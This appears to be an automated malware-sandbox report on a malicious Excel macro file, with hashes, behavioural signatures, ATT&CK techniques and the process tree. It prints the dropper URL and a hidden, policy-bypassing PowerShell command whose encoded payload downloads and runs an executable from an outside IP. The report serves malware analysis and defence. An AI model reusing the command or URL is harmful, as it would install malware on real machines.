38c01d803a9f1661e967026991ef6cade30ee75b2fcfb3dc8d7e3c72f3d19378

General

Target

03700e0d02a6a1d76ecaa4d8307e40f76e07284646b3c45693054996f2e643d7.xlsm
Size

24KB
MD5

3e8ee32c4a5c24dbfe4e3ded8b8dc9e5
SHA1

23d75638b70178df3c0fa6df8879d819dab2037d
SHA256

03700e0d02a6a1d76ecaa4d8307e40f76e07284646b3c45693054996f2e643d7
SHA512

199e4a39c8642c1ec7f508cbe7f14104e258352067486d43de8c14d7a82e9a9f6352576e9078c14faa5a37bba3ee8d4ab2a454be132750931b5f90c4524fecc9
SSDEEP

384:EtJBybZuEU0m3jl1JPxyPqK56i7Df1uhxGGoetIUt8cpL4MxTTXBvk2Gf6BEspaQ:NbZFpwhWDfIh9jtIS4MxTN8ViBPL

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://72.167.223.219/MSDriverLoader.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3200	4844	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

29 216 powershell.exe

flow	pid	process
29	216	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

NTFS ADS 1 IoCs

Processes:

EXCEL.EXE

description ioc process

File created C:\Users\Admin\AppData\Local\Temp\CC385E00\:Zone.Identifier:$DATA EXCEL.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4844 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

216 powershell.exe
216 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 216 powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\CC385E00\:Zone.Identifier:$DATA	EXCEL.EXE

pid	process
216	powershell.exe
216	powershell.exe

description	pid	process
Token: SeDebugPrivilege	216	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 4844 wrote to memory of 3200	4844	EXCEL.EXE	cmd.exe
PID 4844 wrote to memory of 3200	4844	EXCEL.EXE	cmd.exe
PID 3200 wrote to memory of 216	3200	cmd.exe	powershell.exe
PID 3200 wrote to memory of 216	3200	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\03700e0d02a6a1d76ecaa4d8307e40f76e07284646b3c45693054996f2e643d7.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4844

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\public\new.bat" "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -exec bypass -noP -w hidden -nonI -enc "KABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8ANwAyAC4AMQA2ADcALgAyADIAMwAuADIAMQA5AC8ATQBTAEQAcgBpAHYAZQByAEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABNAFMATABvAGEAZABlAHIALgBlAHgAZQAnACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJwBjADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAE0AUwBMAG8AYQBkAGUAcgAuAGUAeABlACcA"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:216

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\public\new.bat
Filesize
487B

MD5
e7e2de3e5afd922a8d48675b2cba818a

SHA1
c37f4ddc59ab903dd377dbe628a93663eb3ca3fd

SHA256
454afd017a31414dbdf4479225174243234ad5ec657ee6cf91a2e8bf4c709792

SHA512
6eecedf47ff1cd967b52d8308e0b798fef796a6f7a81a683335757878260013d5d1978ba9759592f96d4e50175ba5fc5ae43a6fc0fab550599cd276da3e4547e

Download Submit
memory/216-144-0x00007FFD32330000-0x00007FFD32DF1000-memory.dmp

Filesize
10.8MB

Download
memory/216-143-0x00007FFD32330000-0x00007FFD32DF1000-memory.dmp

Filesize
10.8MB

Download
memory/216-142-0x000001656F7C0000-0x000001656F7E2000-memory.dmp

Filesize
136KB

Download
memory/216-141-0x0000000000000000-mapping.dmp

Download
memory/3200-139-0x0000000000000000-mapping.dmp

Download
memory/4844-136-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/4844-138-0x00007FFD188D0000-0x00007FFD188E0000-memory.dmp

Filesize
64KB

Download
memory/4844-134-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/4844-137-0x00007FFD188D0000-0x00007FFD188E0000-memory.dmp

Filesize
64KB

Download
memory/4844-135-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/4844-133-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/4844-132-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/4844-146-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/4844-147-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/4844-148-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download
memory/4844-149-0x00007FFD1B230000-0x00007FFD1B240000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads